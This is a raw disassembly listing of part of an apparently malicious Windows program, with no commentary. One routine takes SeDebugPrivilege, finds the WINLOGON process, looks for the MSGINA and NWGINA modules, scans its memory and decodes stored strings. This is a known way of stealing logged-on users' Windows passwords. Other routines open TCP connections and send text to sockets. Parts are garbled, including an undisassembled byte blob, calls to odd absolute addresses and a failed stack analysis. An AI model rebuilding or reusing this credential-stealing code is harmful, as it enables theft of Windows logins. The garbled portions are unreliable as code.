loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAF0C
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAF0C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1

loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset off_4378F8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h

loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D

loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi

loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 791C6850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78FC68FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 90535959h, 2B923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 6068FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93ECBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 2329574h,	75C08590h
		dd 0FC75FF8Fh, 319173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	437944h
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 0EDE89056h, 85023294h, 56B175C0h,	3190EFE8h
		dd 458B9002h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B38
		jmp	loc_417098
; ---------------------------------------------------------------------------

loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 26A0000h
		nop
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3E1C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3E10, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4020, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3E18, eax
		call	esi
		mov	dword_4D3E14, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2E10
		push	edi
		push	ebx
		push	offset off_437A74
		call	esi
		push	edi
		mov	edi, offset dword_4D3610
		push	edi
		push	offset off_437A5C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4028
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------

loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C

loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D4028, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_437A00
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------

loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------

loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9

loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_4379C8
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_43799C

loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 2770000h
		nop
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------

loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437968

loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h

loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3E1C
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2780000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3E1C
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9

loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3E10
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4020
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1

loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3E18

loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]

loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175

loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi

loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2780000h
		mov	eax, edi

loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207

loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3E18

loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------

loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 26707E3h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------

loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27A01B2h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------

loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 2790CB2h
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB

loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2E10
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3610
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389

loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------

loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 2740000h
		nop
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 2730930h
		nop
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4034, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D402C, eax
		mov	dword_4D4030, edi

loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2780000h
		mov	esi, [ebp+var_10]

loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		call	near ptr 2650939h
		nop
		pop	edi
		mov	eax, esi
		pop	ebx

loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 26707E3h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27A01B2h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148

loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2790CB2h
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 2790000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27A0000h
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2E10
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D3610
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515

loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 2780000h
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------

loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467

loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2650939h

loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax

loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D402C, ebx
		mov	dword_4D4030, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F

loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537

loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2650939h
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4028
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	ecx, dword_4D4028
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4030
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4034
		push	eax
		call	dword_4D3E14
		push	[ebp+var_4]
		mov	edi, offset dword_4D3E20
		push	offset dword_4D2E10
		push	offset dword_4D3610
		push	[ebp+arg_0]
		push	offset dword_437B84
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2780000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4028
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 2790C6Fh
		push	eax
		nop
		call	near ptr 2790000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3610
		mov	edi, 200h
		mov	esi, offset dword_4D2C10

loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D4028
		add	eax, eax
		push	eax
		push	dword_4D4030
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3E14
		mov	eax, dword_4D4028
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4

loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0

loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694

loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0

loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1

loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2E10
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B84
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------

loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2E10
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437BD4
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h

loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		call	near ptr 2790C6Fh
		nop
		push	eax
		call	near ptr 2780000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB024
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFE4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF4C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB03C

loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------

loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi

loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_4299C8 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D403C
		pop	ecx

loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFF4

loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA75C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA64 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx

loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------

